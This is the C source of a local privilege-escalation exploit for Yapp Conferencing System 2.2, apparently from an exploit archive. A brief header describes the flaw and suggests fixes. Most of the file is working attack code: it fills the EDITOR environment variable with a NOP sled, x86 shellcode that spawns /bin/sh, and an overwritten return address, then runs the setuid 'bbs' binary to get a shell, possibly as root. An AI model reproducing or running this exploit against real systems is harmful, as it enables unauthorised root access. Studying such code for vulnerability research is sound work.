Local buffer overflow exploit for Yapp Conferencing System, Version 2.2.
42a69224ad18bfe0ffd84ecdd97d200a20ddcee417e83cc22a0f5d94706017ae
/*
* Exploit for "Yapp Conferencing System, Version 2.2".
* By Dave Bowman, for Sandra, on January 13 1998.
*
* Description:
*
* The Yapp Conferencing System client handles environment variables
* without doing bounds checking, allowing one to overflow a buffer
* in the "bbs" executable onto the stack. Using this technique, it
* possible to obtain a shell running as the user which Yapp is setuid
* to (in some cases, root).
*
* Usage:
*
* bash$ gcc -o yapp_exploit yapp_exploit.c
* bash$ ./yapp_exploit
* bash#
*
* You'll have to change the definition of "BBS_PROGRAM" in the source. You
* may also need to alter the offset, but -1000 worked for me.
*
* Temporary fix:
*
* bash# chmod u-s /usr/local/bin/bbs
*
* Long term fix:
*
* Either change the sprintf (3) call on line 215 of macro.c to something
* which checks the bounds of the data it copies, or simply force strings
* read in from the environment to a specific length, i.e.
*
* env_string [511] = '\0';
*
* if your buffer was 512 characters wide. Please keep in mind however,
* in terms of security, Yapp is a _very_ poorly writen program and
* should probably not run setuid anyone, let alone root. If you can
* possibly avoid it, don't run Yapp setuid.
*
* And without further ado...
*
*/
#if ! defined (__i386__) || ! defined (__linux__)
#error Intel 80x86/Linux platform required.
#endif
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#define BUFFSIZE 512 - strlen ("EDITOR=") /* Size of buffer. */
#define OFFSET -1000 /* Offset. */
#define BBS_PROGRAM "/home/dave/yapp/bbs" /* Path to program. */
/* Function which returns the base address of the stack. */
long get_esp (void)
{
__asm__ ("movl %esp, %eax\n");
}
/* Machine code instructions to execute /bin/sh, I had them here in */
/* global for a reason and now I just don't feel like playing with */
/* the stack offset anymore. */
unsigned char exec_shell [] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
/* Main function, duh. */
int main (void)
{
unsigned char buff [518]; /* Buffer to hold our data. */
unsigned char *ptr; /* Pointer. */
int count; /* Counter. */
unsigned long *address_ptr; /* Long pointer. */
/* First we fill the buffer with NOP instructions. */
(void) memset (buff, 0x90, sizeof (buff));
/* Then we copy our shell code into the buffer. */
ptr = buff;
ptr += BUFFSIZE - strlen (exec_shell);
for (count = 0; count < strlen (exec_shell); count++)
*ptr++ = exec_shell [count];
/* Now we insert our return address into ebp and eip. */
address_ptr = (unsigned long *) &buff [509];
for (count = 0; count < 2; count++)
*address_ptr++ = get_esp () + OFFSET;
/* Here we terminate the buffer as a string... */
ptr = (unsigned char *) address_ptr;
*ptr = '\0';
/* And attempt to load it into our environment. */
unsetenv ("EDITOR");
if (setenv ("EDITOR", buff, 1)) {
perror ("setenv");
exit (1);
}
/* Finally, we execute Yapp. */
(void) execl (BBS_PROGRAM, BBS_PROGRAM, NULL);
perror (BBS_PROGRAM);
exit (1);
}
/* www.hack.co.za */